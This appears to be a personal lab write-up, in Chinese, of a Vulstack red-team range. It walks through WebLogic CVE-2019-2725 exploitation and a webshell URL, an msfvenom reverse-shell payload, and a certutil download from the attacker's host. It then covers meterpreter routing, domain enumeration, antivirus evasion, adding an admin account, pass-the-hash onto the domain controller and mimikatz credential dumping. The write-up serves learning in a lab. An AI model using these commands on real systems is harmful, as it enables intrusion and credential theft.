Vulstack红队评估(二)
环境配置
踩坑
webserver一开始用默认密码上不去,这里的解决方案是登录administrator账户,然后修改密码。
部署
网络
新建一个VMNET,编号为1,模式为hostonly,模拟内网环境,网段为10.10.10.0/24
NAT网段为192.168.111.0/24
DC(内网) 网卡选择VMNET1,IPV4地址为 10.10.10.10
WIN7(内网) 网卡选择VMNET1,IPV4地址为 10.10.10.20
WEBSERVER(内外网) 网卡1选择VMNET1,IPV4地址为10.10.10.80,网卡2选择NAT,DHCP auto configuration,本次地址为192.168.111.128
服务
在C:\Oracle\Middleware\user_projects\domains\base_domain\bin
目录下存在三个批处理文件setDomainEnv
,startManagedWebLogic
,stopManagedWebLogic
。点击配置weblogic环境。
启动服务后,访问web服务器ip:7001/console即可自动部署。
web打点
进入weblogic页面后首先尝试弱口令weblogic/weblogic,登陆不进去,考虑使用weblogic扫描器。
通过扫描发现了CVE-2019-2725漏洞,尝试利用。
利用工具:
https://github.com/TopScrew/CVE-2019-2725
这个脚本有个问题,明明import了sys,requests等,但是运行的时候还是会报没有import,很奇怪,把它放到if name=main里面就好了(这里大概率是name==main带来的执行顺序的问题)
顺利运行脚本后,即可获得一个webshell,地址为:
http://192.168.111.128:7001/bea_wls_internal/demo.jsp?pwd=admin&cmd=ipconfig
先用webshell查看systeminfo,发现为64位操作系统,尝试使用msfvenom生成64位的reverse shell
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.111.129 lport=4444 a- x64 -f exe >/root/Desktop/shell.exe
kali启动apache服务,并将webshell放到/var/www/html目录下
利用Windows自带的工具 certutil下载webshell
certutil.exe -urlcache -split -f http://192.168.111.129/shell.exe
但是不行,直接被360干掉了。
使用java反序列化终极测试工具直接上传冰蝎shell,目录为
1 | C:\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp |
可以直接连上~
下面将shell反弹到msf上,进行下一步的渗透。
内网信息搜集
在meterpreter里面使用run get_local_subnets 获取服务器网卡信息
看到10网段,添加10网段路由:
run autoroute -s 10.10.10.0/24
然后启动socks代理
我这里对代理的理解是在msf启动socks5代理后,设置监听IP与端口,任何使用proxychains进行的动作都会转发到设置好的监听与端口上,与此同时msf设置了通往靶机内网的路由,便可将请求通过(命令)内网主机发送出去。
看一下net user /domain 发现了域内有五个用户
查询域控
1 | net group "Domain Controllers" /domain |
通过ipconfig /all查询IP地址与DNS服务器地址(一般DNS服务器地址是DC)
使用net config workstation 查询工作站情况
可以确定,当前域为de1ay.com
接下来使用ladon探测内网主机存活情况
利用失败,无回显,在虚拟机查看发现被360拦截掉了。
由于java的meterpreter没有mimikatz模块,所以这里尝试上传Windows的shell并且加载mimikatz模块。(忘记了之前生成的shell被干掉了。。没办法,尝试免杀)
使用go免杀cs成功了,成功上线
接下来尝试添加管理员用户
net user polosec admin@123 /add
net localgroup Administrators polosec /add
由于360拦截 添加失败。
通过漏洞进行权限提升,拿到一个system权限的shell。
探测域内存活主机
将cs会话派生给msf
首先CS新建一个foreign listener,选择https,记住设置的端口号和hsot。
msf一样的配置
注意这里一定要选reverse http 否则meterpreter会die
使用如下命令用ICMP协议探测主机存活:
1 | for /L %I in (1,1,254) DO @ping -w 1 -n 1 10.10.10.%I | findstr "TTL=" |
使用arp -a 查看arp缓存
确定主机大概为:
10.10.10.10(DC),
10.10.10.80,
10.10.10.201
目前10.10.10.80已经被拿下,下面尝试对10.10.10.10以及10.10.10.201主机进行渗透。
渗透域内主机
通过PASS THE HASH 的方式传递NTLM hash实现上线DC和域内主机。
具体方法:
在CS中 view target -add 添加DC的IP,点击jump ,PS EXEC ,选择一个同域的账号密码进行PTH,即可顺利上线DC。
上线DC后再用mimikatz抓一下密码,然后利用同样的方法上线主机10.10.10.201。
顺利上线主机10.10.10.201:
总结
通过本次对vulstack靶场的学习,
进一步了解了CS MSF的用法,加深了对bypass uac 、提权的认识,学习了初步的免杀技巧;
学会了在msf中如何配置路由对内网进行扫描,学习了几个常用的提权方式 比如MS14058 MS15051;
使用pth的方式上线域内主机等等。。
目前存在的问题也非常多,包括不太了解CS,CS的shell掉线不知道是什么问题,以及还有很多很多现在还没有学习到的知识。
针对当前问题的学习目标:了解PTH,掌握mimikatz的用法,了解如何bypass uac,认识更多的提权方法。